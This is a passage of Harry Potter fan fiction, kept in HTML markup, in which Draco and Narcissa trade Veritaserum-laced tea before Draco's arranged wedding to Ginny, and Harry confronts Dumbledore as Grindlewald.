seemed to catch on something unexpected and he was forced to actually stand up and free them from the wall. When he returned, Mrs Malfoy was sitting up and slowly sipping at her tea. She had poured out a cup for him as well, liberally dosing it with cream and almost no sugar. Draco was honestly surprised that she remembered how he took his tea.</p>\n\n<p></p>\n\n<p> He drank a bit and looked at her from under his eyebrows. She didn&#8217;t seem any different, but then, she wouldn&#8217;t to the untrained observer or even herself. Time to test.</p>\n\n<p></p>\n\n<p> &#8220;I see that you&#8217;re not completely without use, Mother.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy sighed and picked up a biscuit to nibble at it delicately. &#8220;I&#8217;m afraid that I am almost completely useless. I only sleep, eat, and compla--&#8221; She stopped and looked up at him sharply. &#8220;Draco, did you put something in my tea?&#8221;</p>\n\n<p></p>\n\n<p> He shrugged casually, swiped a petite four from the tray, and popped it in his mouth, intending not to admit to anything but instead he said: &#8220;Just a mild form of Veritaserum, Mother.&#8221; </p>\n\n<p></p>\n\n<p> Draco clapped a hand over his mouth and looked up at her. Had he accidentally dropped some in his own cup? From the look of amusement on her face, apparently he did not.</p>\n\n<p></p>\n\n<p> &#8220;Veritaserum? For me? Well, that&#8217;s . . . expected, I suppose.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Did you put some in my cup as well?&#8221; Draco demanded.</p>\n\n<p></p>\n\n<p> &#8220;Of course.&#8221; Mrs Malfoy picked up a pair of silver pinchers and dropped three more lumps of sugar in her cup. Two vertical lines marred the perfection of her pale brow. &#8220;You never did make my tea sweet enough, Draco.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Some people prefer to drink a cup of <i>tea</i> instead of liquid sugar,&#8221; Draco replied dryly. &#8220;Why you feel the need to drown yourself in it, I&#8217;ll never know.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;So little in my life is sweet, perhaps,&#8221; she sighed, lifting her spoon from the cup without a sound.</p>\n\n<p></p>\n\n<p> Draco searched for clouds and sky through the blank barrier of the ceiling again. &#8220;Don&#8217;t be maudlin, Mother. It ruins my image of you.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy&#8217;s eyes were unusually lucid when they met his. &#8220;Down to business, Draco, since we have little time before that farce of a wedding you&#8217;re to be participating in soon.&#8221; She glanced at the clock behind him and back again. &#8220;What did you want to know so badly that you felt it necessary to dose me with Veritaserum first to find out?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Hmmn, well . . . &#8220; Draco attempted to stall, but found his tongue wanting to take away his Slytherin preference to distract and pounce. &#8220;I want to know about Chertien de Malfai and the curse I am, or was, under.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Ah,&#8221; Mrs Malfoy leant back against her pillows, balancing her teacup on her lap. &#8220;I suspected as much. Ask me, then, since you know I can not refuse you anything now.&#8221;</p>\n\n<p></p>\n\n<p> Draco finished chewing his cake and grinned rakishly. &#8220;Who was Chertien de Malfai?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy lifted one eyebrow. &#8220;He was such a <i>boring</i> man, Draco. Chertien de Malfai was the first Malfoy in Britain. Before that, they lived in France, and . . .&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Something useful, Mother.&#8221; Draco prompted impatiently. This was too much. He had to have a cigarette. Right now. &#8220;I already know most of this.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, well, I suppose useful to you means the curse.&#8221; She tapped her chin thoughtfully. &#8220;He was the first to cast it on his family. Chertien de Malfai learnt the curse from Grindlewald the Dark sometime in the fifteenth or sixteenth century. They were great friends, all told, and what is not usually told is that they were lovers of a sort.&#8221;</p>\n\n<p></p>\n\n<p> Draco had just taken his second puff from one of the precious sticks in his silver case when he choked on the smoke. It burned his lungs and Draco could do little more but cough and splutter for a moment before he regained his composure. &#8220;Lovers?!&#8221; he gasped. &#8220;You mean Father wasn&#8217;t the first<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy shook her head, a wicked smile tugging her lips. &#8220;Oh no, certainly not the first. Although I believe Lucius had Chertien stricken from the family records whilst Percy<font face="Times New Roman">&#8212;</font> &#8221; She stopped and the smugness drained from her face. &#8220;Well, it was when Percy was there that Lucius did it. He grew angry one night and blew a hole in the mural with his wand the day after Percy arrived; threw a goblet of wine at it as well, if I recall.&#8221;</p>\n\n<p></p>\n\n<p> Draco&#8217;s skin was creeping and it was a decidedly unpleasant sensation, so he moved forward with his questioning. &#8220;All poofing aside, what else was so special about the man?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy tipped her head elegantly and drained her teacup. &#8220;I have no idea. It wasn&#8217;t until the next generation that all the odd burnings and tortures and other amusing things took place.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Lovely to know <i>your</i> view on that area of our history, Mother,&#8221; Draco said slowly, drawing on his cigarette again. He decided that the calming charms must have had some sort of negative reaction with the Veritaserum he&#8217;d drank because the smoke pouring from the lit end of his cigarette started making patterns he found difficult to ignore. They were actually quite . . . pretty. Ooh, and that one was the very image of a wolf sitting on his mother&#8216;s hea-- Draco shook his head to clear it and squeezed the filter of his cigarette between his fingers so it would disappear.</p>\n\n<p></p>\n\n<p> Mrs Malfoy was languidly raising a hand, palm to the sky, and sliding another biscuit toward her with the tip of a finger from her other hand when he looked back at her. At least her movements weren&#8217;t creating light trails anymore.</p>\n\n<p></p>\n\n<p> &#8220;And the curse itself?&#8221; Draco asked in an attempt to focus on the conversation again. &#8220;What do you know of it?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;What I&#8217;ve told you already,&#8221; she insisted. &#8220;It is a bartering curse. You must--&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, I know,&#8221; Draco cut her off. &#8220;&#8217;One must pay a price for certain boons.&#8217; So what are the boons and what is the price?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It can be manipulated a bit, but the basic curse consists of removing certain emotions like joy and sorrow - or fear and bravery - and in return giving you perfection of form.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;So what did it take from me? What did it give to me?&#8221; Draco asked, leaning forward in his seat, waiting with baited breath for her answer.</p>\n\n<p>\n\n</p>\n\n<p> &#8220;I suspect it improved your natural looks.&#8221; She contemplated his hair with a frown. &#8220;Covered certain natural and artificial imperfections, and obviously it made you taller since you seem to be shrinking at an alarming rate.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;And the price?&#8221; Draco whispered. </p>\n\n<p></p>\n\n<p> Her eyes roved over him again. &#8220;Likely your ability to feel things as normal people do; intensifying certain emotions your father felt were good for servitude to the Dark Lord and erasing others that were not. Twisting you up inside.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But the curse is gone now?&#8221; </p>\n\n<p></p>\n\n<p> &#8220;It seems to be fading.&#8221; The edges of her lips warped, bowing into a sort of frown. &#8220;And I must say that I preferred your previous look because that hair of yours simply refuses to behave.&#8221;</p>\n\n<p></p>\n\n<p> Draco pushed his hair back with a snarl. He was still light-headed and she wasn&#8216;t making this easy. &#8220;I don&#8217;t care about my sodding hair right now, Mother. I want to know more about--&#8221;</p>\n\n<p></p>\n\n<p> She cut him off by tapping her spoon soundly against her cup. His mother was too graceful and involved in etiquette to have done it without purpose. &#8220;Let me ask you a question now, Draco.&#8221;</p>\n\n<p></p>\n\n<p> He sat back and glared at her whilst she patted down the wrinkles in her robes and set her cup aside. </p>\n\n<p></p>\n\n<p> &#8220;Do you really object to marrying the Weasley girl?&#8221;</p>\n\n<p></p>\n\n<p> The &#8216;no&#8217; came out completely against his will and Draco gritted his teeth to keep in any other unacceptable admissions.</p>\n\n<p></p>\n\n<p> &#8220;I see,&#8221; Mrs Malfoy said. &#8220;And how do you feel about the girl? Fancy her, do you?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, I fancy her. Other than that, I don&#8217;t know. She scares me.&#8221; Draco stuffed his fingers in his mouth and bit them quite hard, preferring the pain to saying anything further on the subject.</p>\n\n<p></p>\n\n<p> &#8220;You don&#8217;t <i>love</i> her, do you?&#8221; Her shapely eyebrows rose to a great height as she waited for his reply.</p>\n\n<p></p>\n\n<p> &#8220;I--I don&#8217;t know,&#8221; Draco said, relieved and more than a little curious at the same time. &#8220;She&#8217;s comfortable to sleep on, and she&#8217;s a romping shag and I keep having these dreams about her . . . Mother, please don&#8217;t make me say anymore! Ginny is mine, and I&#8217;d like to wring Creevey&#8217;s bloody neck if he ever thinks about touching her-- Mother! Again. I quite like her.&#8221;</p>\n\n<p></p>\n\n<p> Draco slumped over and couldn&#8217;t bring himself to look directly at his mother. &#8220;You&#8217;re a bitch,&#8221; he said in all honesty.</p>\n\n<p></p>\n\n<p> &#8220;Noted,&#8221; Mrs Malfoy said calmly. When he looked up, she was examining her fingernails for imaginary dust and debris. &#8220;But could you-- do you love <i>me</i>, though?&#8221; she asked softly. Her heart - and Draco had never thought of her having one before - was in her eyes as she waited for his answer.</p>\n\n<p></p>\n\n<p> Draco didn&#8217;t really have to think about it. &#8220;Of course I&#8217;m fond of you, Mother. But I don&#8217;t think that I know you well enough to love you.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yet you know this Weasley--&#8221; She muttered under her breath and frowned sharply before beseeching him again. &#8220;Do you have even the vaguest impression of what it is?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Absolutely no idea,&#8221; Draco said happily, pointedly ignoring his mother&#8216;s pleading eyes. &#8220;And I really do prefer it that way, you know. Love makes things too complicated.&#8221;</p>\n\n<p></p>\n\n<p> There was something in the back of his mind, which told him that wasn&#8217;t precisely true, but the instant jubilation and gratitude he felt at being able to lie again quashed it firmly into a corner to be quickly ignored.</p>\n\n<p></p>\n\n<p> &#8220;I thought I knew what it was once,&#8221; Mrs Malfoy mused, picking at the lace coverlet on her lap. &#8220;But I was very young, and foolish, and it was an odd sort of situation anyway.&#8221;</p>\n\n<p></p>\n\n<p> Draco raised an eyebrow and snatched up another biscuit since he deemed those safe for consumption. &#8220;Don&#8217;t tell me it was Father.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Ah, but the Veritaserum&#8217;s worn off now, Draco. Therefore, I think I&#8217;ll keep my secrets a while longer if you don&#8217;t mind, since they are the only things that are truly mine and I prefer not to dwell on such youthful indiscretions.&#8221;</p>\n\n<p></p>\n\n<p> It was as if Draco were looking at a great, shifting puzzle and another piece suddenly slid into place. &#8220;You ran away from Father to be with someone else, didn&#8217;t you?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy&#8217;s leg twitched and her eyes slid closed. &#8220;I don&#8217;t wish to talk about that, Draco.&#8221;</p>\n\n<p></p>\n\n<p> He took that for a yes and picked up his cup to take another sip when he remembered the Veritaserum and set it down. He was very thirsty after so many dry biscuits and he needed a drink. &#8220;Did you poison the pot or just my cup?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Just your cup. I wanted some tea, too, after all.&#8221; Mrs Malfoy took a flask from her pocket and conjured a tiny glass for herself. Draco watched her pour the familiar green liquid in the bottom. She didn&#8217;t even bother with sugar, fire, or ceremony anymore, it seemed. His mother drank it straight down with a clean jerk of her hand.</p>\n\n<p></p>\n\n<p> &#8220;If you don&#8217;t lay off of that, there won&#8217;t be a wedding.&#8221; Draco paused and smiled widely as a thought occurred to him. &#8220;Would you like me to bring you another bottle?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy sent him a crisp look over her glass before she tilted it back and drained it dry. It was an uncharacteristically crude gesture on her part, but she seemed past the point of caring. Then she repeated the gesture with a refill. Twice. &#8220;As if anything could keep you from your precious little Weasley girl.&#8221;</p>\n\n<p></p>\n\n<p> Draco winced. Mrs Malfoy set down her glass and picked among the morning pastries and biscuits, taking her time in selecting one to eat. She had just plucked a jam tart from the pile of sweets when a knock sounded at the door.</p>\n\n<p></p>\n\n<p> &#8220;And speaking of tarts,&#8221; she said unsteadily as she poked at the flaky pastry in her hand. &#8220;That&#8217;s probably yours at the door now.&#8221;</p>\n\n<p></p>\n\n<p> Draco shook his head at his mother&#8217;s addled wit and wearily flicked his wand at the door. It opened to reveal Mrs Weasley.</p>\n\n<p></p>\n\n<p> &#8220;Oh, I was wrong,&#8221; Mrs Malfoy said gleefully, her eyes silver crescents. &#8220;It&#8217;s the other one. What flavour do you think she would be, Draco-my-lovely?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mother,&#8221; Draco warned, not spoiling for a pre-wedding fight between his mother and his mother-in-law-to-be. He shuddered. &#8220;Less faerie juice, if you please.&#8221; </p>\n\n<p></p>\n\n<p> Then, it would be <i>ever</i> so entertaining to see how hard Mrs Weasley had to be pushed before she Avada Kedavera&#8217;d someone. Just for future reference, of course. He could take notes.</p>\n\n<p></p>\n\n<p> Mrs Weasley was glaring at his mother, but she managed to restrain herself and addressed Draco. &#8220;I thought you should know that it&#8217;s almost time to present yourself downstairs. Ginny&#8217;s nearly ready.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Lovely.&#8221; Draco absentmindedly plucked the silver flask from his mother&#8217;s hand and threw it over his shoulder, ignoring her protests. He sighed and flicked open his cigarette case without thought, bringing one to his lips. Draco gestured toward her with his smoking hand after he&#8216;d taken a few calming puffs and addressed Mrs Weasley. &#8220;We&#8217;ll be ready as soon as she can walk without running into imaginary trees in the corridors. Mother has a terrible dependency, you know.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley pursed her lips tightly and nodded once before closing the door behind her, muttering something about Malfoys and their vices.</p>\n\n<p></p>\n\n<p> Draco looked down to see Mrs Malfoy staring, in a most enthralled manner, at her hands. &#8220;Do grow up, Mother.&#8221; He grabbed his dress cloak from where it was draped over a chair and swirled it around his shoulders, pushing the toggles through the loops of ribbon along the front. &#8220;I can&#8217;t take you anywhere, can I?&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Harry walked down the halls with Ron uncertainly. Hermione gripped his hand tightly as they made their way toward the tower that would house the wedding and the feast afterwards. Hermione was attempting to nerve herself by keeping up a steady stream of chatter about wizarding wedding traditions versus Muggle ones. At least it kept her from speaking in the open about plans she was just itching to discuss again.</p>\n\n<p></p>\n\n<p> &#8220;And of course they must eat a symbolic egg after the ceremony, but I&#8217;m not sure if they will now, seeing as Ginny is already--&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh look,&#8221; Ron interrupted with the air of one who was desperate to find something else to talk about. &#8220;It&#8217;s Millicent Bulstrode. I wonder what she&#8217;s doing in this part of the castle.&#8221;</p>\n\n<p></p>\n\n<p> Hermione looked at Ron strangely. &#8220;I don&#8217;t see anyone. And why would you care if she&#8217;s down here or not?&#8221;</p>\n\n<p></p>\n\n<p> Ron shrugged and stuffed his hands in his pockets. &#8220;Just thought it was odd, is all.&#8221;</p>\n\n<p></p>\n\n<p> Harry quickly felt a migraine coming on which had nothing to do with a mystical force. It was a strangely familiar and comforting pressure, though, so he decided to ignore it and hope it went away soon. Actually . . .</p>\n\n<p></p>\n\n<p> &#8220;You two go on ahead. I&#8217;m going to run over to Pomfrey and ask if she has any headache potions.&#8221;</p>\n\n<p></p>\n\n<p> Ron cast an eye on him. &#8220;Feeling all right, mate?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yeah, it&#8217;s just that I don&#8217;t want to ruin the wedding later by having a headache.&#8221;</p>\n\n<p></p>\n\n<p> Ron and Hermione both scoffed.</p>\n\n<p></p>\n\n<p> &#8220;It could do with ruining, I think,&#8221; Hermione said crisply. &#8220;I hate even <i>thinking </i>about how mediaeval this all is. Poor Ginny--&#8221;</p>\n\n<p></p>\n\n<p> Ron snorted. &#8220;Poor Ginny can take care of herself. If I didn&#8217;t hate the bloke, I&#8217;d give my sympathy to Malfoy. Smug bastard that <i>he</i> is.&#8221; Grumbles followed.</p>\n\n<p></p>\n\n<p> Harry took this opportunity to break away. &#8220;I won&#8217;t be long. Save a seat for me.&#8221;</p>\n\n<p></p>\n\n<p> He relished the chance to escape for a moment and slowed his pace as soon as he rounded a corner. Harry wasn&#8217;t precisely sure whether he would actually go looking for headache potions, but if he wound up in the Infirmary, he wouldn&#8217;t mind.</p>\n\n<p></p>\n\n<p> Things were clicking into place now. Being with Ron and Hermione both again made things seem frighteningly more real all of a sudden. The scheme Hermione had come up with was like old times. Harry half-expected to open a door and find Fluffy guarding a trap door, or to come across the Mirror they were now looking for.</p>\n\n<p></p>\n\n<p> Harry never thought the Mirror of Erised was of any <i>practical </i>use before Hermione discovered a passage about it whilst looking up information on how to avoid being spied upon by Dumbledore. It really was the perfect solution to their problems. Grindlewald, or Dumbledore, whoever he was, would never tell them the truth when directly confronted. But Albus Quaffle seemed terribly insistent that Grindlewald was a Muggle lover and &#8216;not a bad fellow, but for that Muggle thing&#8217;, despite what the Chocolate Frog cards and slim gleanings of history they found said. What was the real story?</p>\n\n<p></p>\n\n<p> Smirking to himself, Harry shoved his hands in his pockets and continued his ramble around the castle. It had to work. Hermione was too clever for it not to be a smashing breakthrough in this latest mystery. The only real problem lay in finding where Dumbledore had hidden the bloody Mirror.</p>\n\n<p></p>\n\n<p> Then there was the required sacrifice.</p>\n\n<p></p>\n\n<p> Harry stopped and stared out a window that overlooked the grounds and part of the lake. The answer wasn&#8217;t in the new spring grass, nor was it to be found in the gentle sun-gold waters of the lake. </p>\n\n<p></p>\n\n<p> For the Mirror to work with the incantation Hermione had discovered, it required that one of them sacrifice a desire in order to see a <i>particular </i>desire. Right now, they wanted to see the past and what really happened between Dumbledore and Grindlewald. But what would they be willing to give up?</p>\n\n<p></p>\n\n<p> When Harry had encountered the Mirror before, he had seen his parents and extended family. Whilst it was still true that he desired the love and presence of his parents, there were other things now that he wanted in life; more adult things.</p>\n\n<p></p>\n\n<p> He had Hermione, or at least he assumed she was his as much as he was hers. That was a little foggy and he hoped that whatever he saw in the Mirror had nothing to do with her. Then, Ron had decided to forgive them, or did they forgive him? Harry pressed a hand to his eyes. All the thinking was making his headache worse than it was before. Nothing was clear anymore, it seemed.</p>\n\n<p></p>\n\n<p> He sighed and kicked a piece of crumpled parchment someone had left in the hallway, satisfied by the small <i>thwack</i> it made against the opposite wall.</p>\n\n<p></p>\n\n<p> So if they found the Mirror, someone would have to give up a desire. Did that mean that the desire would never come true or simply that the person would stop longing for it? If he saw only his parents in the Mirror, maybe Sirius and Hagrid, too, Harry decided that it wouldn&#8217;t be such a bad thing to stop wanting them to be there. No matter what he did, they weren&#8217;t coming back and that was the truth.</p>\n\n<p></p>\n\n<p> Perhaps losing the desire for something made it so that you no longer bothered to try, so it wouldn&#8217;t come true that way. Was that it? How had Hermione explained it to them earlier?</p>\n\n<p></p>\n\n<p> Harry plopped down in a window ledge and buried his head in his hands. He probably should seek Madame Pomfrey out actively if he wanted his headache to go away. He also reasoned that less thinking was in order since it seemed to disagree with his health.</p>\n\n<p></p>\n\n<p> Soft, shuffling footsteps echoed down the hall. Harry looked up to see Dumbledore coming toward him, his face serene and untroubled.</p>\n\n<p></p>\n\n<p> &#8220;Ah, Harry. Feeling all right today?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;As well as can be expected, sir, considering the circumstances.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore nodded and held out a tin of sherbet lemons. Harry refused them, naturally. Any thought of sherbets automatically recalled Albus Quaffle and he didn&#8217;t want to <i>think </i>anymore that day. He just wanted to get through it.</p>\n\n<p></p>\n\n<p> &#8220;I may not completely agree with this wedding, Harry,&#8221; Dumbledore sighed. &#8220;But I feel that it&#8217;s probably for the best considering Mr Malfoy and Miss Weasley&#8217;s temperaments.&#8221;</p>\n\n<p></p>\n\n<p> Harry raised an eyebrow at him. &#8220;You mean you <i>want </i>them to kill each other?&#8221;</p>\n\n<p></p>\n\n<p> The light in Dumbledore&#8217;s eyes was jovial. &#8220;On the contrary, I believe that their more volatile passions may cool long enough for their feelings for each other to surface. Provided that they are given their own space for a while, of course.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Malfoy doesn&#8217;t have any feelings,&#8221; Harry grumbled. &#8220;He doesn&#8217;t care about Ginny at all. Certainly not about their children.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I think he cares for Miss Weasley very much,&#8221; Dumbledore disagreed. He leant down and placed his hand on Harry&#8217;s shoulder. &#8220;He won&#8217;t hurt her, Harry. He can&#8216;t whilst I am here.&#8221;</p>\n\n<p></p>\n\n<p> Harry shrugged. &#8220;I suppose not. I should probably be giving my sympathy to Malfoy.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore threw his head back and laughed. He patted Harry&#8217;s shoulder a few times and stood straight again. His eyes were the same sparkling blue orbs of merriment that Harry had known almost his entire time at Hogwarts. Dumbledore didn&#8217;t look or sound any different from how he always had. If this was Grindlewald, he didn&#8217;t seem like an evil person.</p>\n\n<p></p>\n\n<p> As Harry watched, Dumbledore nodded solemnly and started walking away, his soft shoes thumping steadily toward the small hall where the wedding would be held.</p>\n\n<p></p>\n\n<p> Harry stood up and balled his fists, all thoughts of headache gone as he summoned the famous Gryffindor courage to aid him.</p>\n\n<p></p>\n\n<p> &#8220;Grindlewald,&#8221; he called softly. &#8220;Your name is Grindlewald.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore stood frozen, his back still to Harry when he spoke. &#8220;That&#8217;s a very peculiar accusation, my boy. Especially considering that Grindlewald died long before you were born.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;True, though,&#8221; Harry replied.</p>\n\n<p></p>\n\n<p> Dumbledore dipped his feeble, grey head in acknowledgment. &#8220;We have much to discuss, Harry. Come to my office after the wedding feast. I&#8217;ll be waiting for you.&#8221;</p>\n\n<p></p>\n\n<p> He started walking away again, but Harry stopped him with a shout: &#8220;I won&#8217;t be alone!&#8221;</p>\n\n<p></p>\n\n<p> The old man half-turned, his gaze the only gleaming point in heavy shadows. &#8220;I wouldn&#8217;t expect you to, Harry. But . . . choose wisely, and well, from amongst those you trust.&#8221;</p>\n\n<p></p>\n\n<p> Harry locked stares with Dumbledore for only a moment before bolting back toward the wedding hall. He had to prepare Ron and Hermione for a social call later.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> &#8220;The robes are fine, Mum, honestly.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Well, more pearls won&#8217;t hurt, will it?&#8221; Mrs Weasley waved her wand and added a row of delicate seed pearls to the hem of Ginny&#8217;s wedding robes.</p>\n\n<p></p>\n\n<p> Ginny rolled her eyes and glanced over at her father for help. He smiled shyly and stepped forward before his wife added more lace to Ginny&#8217;s sleeves.</p>\n\n<p></p>\n\n<p> &#8220;She&#8217;s fine, Moll. Ginny already looks like a sorceress in those robes.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley huffed and stepped back. &#8220;I just don&#8217;t want Narcissa to say that Ginny&#8217;s robes are too plain, Arthur.&#8221;</p>\n\n<p></p>\n\n<p> Ginny glanced down at herself and then quickly up at the mirror in front of her. There were so <i>many </i>pearls and laces and ribbons that to add anymore would be vulgar, but Ginny didn&#8217;t say anything more than: &#8220;She won&#8217;t be able to call these robes plain, Mum.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley sighed and stepped back. &#8220;It&#8217;s almost time, dear. I need to go put my gloves and hat on.&#8221; She shoved Mr Weasley toward their daughter on her way out of the room. &#8220;Talk to her as I&#8217;m getting dressed, will you, dear?&#8221;</p>\n\n<p></p>\n\n<p> He stumbled briefly before straightening up. Ginny displayed her best half-smile to assure him and smoothed down the front of her bodice. &#8220;It really is too much.&#8221; She fingered the lacy front. &#8220;All these extras Mum added.&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley put his hand in his pocket. &#8220;I&#8217;m afraid that I need to add just-- one more thing.&#8221; He withdrew his hand and dangled a gold chain and pendant in front of her.</p>\n\n<p></p>\n\n<p> Ginny frowned and lifted her hand to touch it. &#8220;What&#8217;s this, Dad?&#8221;</p>\n\n<p></p>\n\n<p> He looked down and shuffled his feet. &#8220;It was your Christmas present . . . from Percy.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s eyes widened and she met his nervous gaze. &#8220;Oh, Dad,&#8221; she breathed. She touched the ruby heart and smiled wistfully at the golden dragon&#8217;s claw grasping it snugly. Ginny lifted her hair and turned around. &#8220;Put it on? I want to wear it today.&#8221;</p>\n\n<p></p>\n\n<p> She saw his arm reach awkwardly around her neck and felt him fumbling with the clasp. The ruby settled low in her bodice and Ginny patted it before turning back to her father.</p>\n\n<p></p>\n\n<p> &#8220;Thank you,&#8221; she said simply. &#8220;I&#8217;m glad you gave this to me today.&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley lowered his eyes and nodded. &#8220;Percy wanted very much for you to have it. It was-- it was one of the last things he wrote about.&#8221;</p>\n\n<p></p>\n\n<p> Ginny frowned. &#8220;Wrote about?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;In his journal. The, uh, the Aurors at the Malfoy estate sent it to me a few weeks ago. They thought we might want it.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh,&#8221; she said as she fingered the cool ruby hanging over her heart. &#8220;It must have been difficult for you.&#8221; Ginny looked up. &#8220;Does Mum know?&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley shook his head. &#8220;I haven&#8217;t told anyone but you. It&#8217;s too painful and too personal to share. Even with your mother. It would only upset her. She&#8217;s been so happy lately, with the wedding and all, that I feel it would just cause her undue grief.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;This isn&#8217;t the time to keep secrets, Dad,&#8221; Ginny said, threading her fingers with her father&#8217;s. &#8220;We&#8217;ve all been keeping them and look where we are now.&#8221;</p>\n\n<p></p>\n\n<p> He smiled faintly. &#8220;I suppose you&#8217;re right. I can show it to Molly later; after all of this wedding madness has calmed down and she&#8217;s bored again.&#8221;</p>\n\n<p></p>\n\n<p> Ginny laughed loudly and attempted to embrace her father, but her skirt was too full, so she settled for gripping arms with him. She&#8217;d missed his quiet presence, his powerful curiosity, his love for his family and his wife. Ginny saw her father with brand new eyes in this sparkling moment between them.</p>\n\n<p></p>\n\n<p> Mrs Weasley came back then, wearing a pair of pristine white kidskins and a large hat covered in flowers with a tulle veil obscuring the top half of her face. She checked the buttons of her pale purple robes and the corsage of tiny, yellow cinquefoils pinned to her bosom.</p>\n\n<p></p>\n\n<p> &#8220;Are you ready, Ginny?&#8221; she asked inattentively whilst turning her round collar down and smoothing it with quick, precise flicks of her fingers. </p>\n\n<p></p>\n\n<p> &#8220;Yes, Mum,&#8221; Ginny sighed. &#8220;I&#8217;ve been ready for ages. Doesn&#8217;t mean I <i>want</i> to be ready.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley stopped preening and glanced up at Ginny critically through the obstruction of her veil. &#8220;Don&#8217;t give me that tosh. Now turn around so I can make sure I&#8217;ve not missed anything.&#8221;</p>\n\n<p></p>\n\n<p> Ginny slowly rotated with her arms held out. She felt like a bell with the large, hoop-skirted robes and form-fitting bodice. A giant could come by and use her upper body as a handle, letting her skirts swing back and forth. Ginny wondered if her screams would sound like the tinkling of a bell to the people below, but decided not to test that theory, tempting as it was to give voice to her nervousness and fear.</p>\n\n<p></p>\n\n<p> &#8220;I suppose it will--&#8221; Her mother stopped and pointed sharply at Ginny&#8217;s neck. &#8220;What&#8217;s that there?&#8221;</p>\n\n<p></p>\n\n<p> Ginny whirled round the rest of the way and clutched at her pendant, her skirts struggling to catch up with her. &#8220;It&#8217;s just-- um, mine.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley walked forward to examine it and Ginny haltingly allowed her. Her mother visibly relaxed and smiled. &#8220;Ah, that must be Percy&#8217;s necklace. Wherever did you find it?&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley stared. &#8220;How did you know about that?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh, I, well, he told me about it. Before he--&#8221; She cleared her throat and stepped away. &#8220;We really should be going now, dear. They won&#8217;t wait forever, and we still must meet Draco and Narcissa at the doors before going in.&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley glanced between his daughter and his wife for a moment, but said nothing. He held out his arm for Mrs Weasley to take, and Ginny followed them out of the room.</p>\n\n<p></p>\n\n<p> As soon as Draco saw them, he marched up to Ginny and her mother, cigarette in hand. &#8220;You can&#8217;t invite that Mudblood Granger to my wedding <i>or</i> the feast! I won&#8217;t allow it.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Draco Malfoy!&#8221; Mrs Weasley gasped. &#8220;How dare you say that word!&#8221;</p>\n\n<p></p>\n\n<p> Draco ignored Ginny for the moment and span on his heel to address Mrs Weasley, a ferocious glint in his eye. &#8220;Clamp it, woman. I&#8217;m marrying your daughter, not every half-breed from here to Edinburgh.&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley stepped forward angrily, almost nose-to-nose with Draco. &#8220;Now see here, you spoilt--&#8221;</p>\n\n<p></p>\n\n<p> But his wife pulled him away and took a menacing step toward Draco, her eyes flashing murder before they flickered over to Mrs Malfoy.</p>\n\n<p></p>\n\n<p> &#8220;Narcissa, <i>dear,</i> I think that you need to have a talk with your son about propriety and respect for his elders.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy shrugged her thin shoulders. &#8220;But you&#8217;re so much better at it than I am.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley gnashed her teeth audibly. &#8220;Draco, as much as I would like more grandchildren, I&#8217;ll eviscerate you if you don&#8217;t behave today and that&#8216;s a promise.&#8221;</p>\n\n<p></p>\n\n<p> Draco&#8217;s eyes widened and he stepped - unconsciously, Ginny was sure - behind his mother. Mrs Malfoy, for her part, looked unmoved by any of this, and she yawned delicately behind her hand.</p>\n\n<p></p>\n\n<p> &#8220;Today shall be a happy day for both of you,&#8221; 